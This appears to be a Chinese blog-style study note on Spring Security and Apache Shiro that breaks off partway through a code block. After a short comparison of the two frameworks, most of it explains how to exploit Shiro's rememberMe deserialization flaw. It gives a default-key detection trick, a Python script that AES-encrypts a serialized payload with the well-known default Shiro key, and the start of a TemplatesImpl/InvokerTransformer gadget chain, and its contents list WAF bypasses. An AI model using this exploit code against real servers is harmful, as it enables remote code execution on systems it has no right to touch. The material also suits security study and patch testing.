开发知识点-JAVA-springboot+Spring Security/Shiro

在这里插入图片描述

Spring Security/Shiro

  • shiro
    • Shiro反序列化相关
      • URLDNS链
      • Shiro CC链
      • Shiro CB链
    • Shiro反序列化WAF绕过
  • Java快速开发框架_若依——前后端分离版- 3. 登陆 springsecurity认证 Debug - postman模拟
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-对象映射-基本属性映射
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-Spring Data JPA简介
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-课程介绍,架构说明,案例说明,前置知识
  • 参考文档
    • Shiro反序列化相关

Shiro 和 Spring 平台是两个不同的项目,它们可以在一起使用来提供安全认证和授权功能。

Shiro 是一个用于身份验证、授权、加密等安全功能的开源框架。它提供了一个简单且易于使用的 API,可以轻松地集成到 Java 应用程序中。Shiro 提供了一套灵活的安全管理功能,可以处理用户身份验证、访问控制、会话管理等任务。

Spring 平台是一个用于构建企业级应用程序的综合框架。它提供了大量的功能和组件,包括依赖注入、AOP、事务管理、Web 开发等。Spring 还提供了一个名为 Spring Security 的子项目,用于处理应用程序的安全需求。Spring Security 可以与 Shiro 集成,以提供更强大的安全功能。

因此,可以说 Shiro 是一个独立的安全框架,而 Spring 平台可以与 Shiro 一起使用来增强应用程序的安全性。通过将两者结合使用,开发人员可以更容易地实现身份验证、授权和其他安全功能。

shiro

Shiro反序列化相关

原理· 获取Cookie中rememberMe的值    
· 对rememberMe进行Base64解码    
· 使用AES进行解密    
· 对解密的值进行反序列化      这样的话攻击者就可以通过构造一个恶意的payload序列化之后 
然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。Shiro Key检测
当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,
如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();serialie(simplePrincipalCollection);

URLDNS链

首先进行序列化之后 进行AES加密 然后Base64进行编码


import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename):    with open(filename, 'rb') as f:        data = f.read()    return data def aes_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))    return ciphertext def aes_dec(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s : s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key), mode, iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file_data("ser.bin")    print(aes_enc(data))

需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可

Shiro CC链

是Shiro打CC链的话,你的POC中不能出现Transformer数组,

因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。

TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> clazz = templates.getClass();Field name = clazz.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"12312");Field bytecodes = clazz.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] code = Base64.getDecoder().decode("xxxx");bytecodes.set(templates,new byte[][]{code});
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);HashMap map = new HashMap();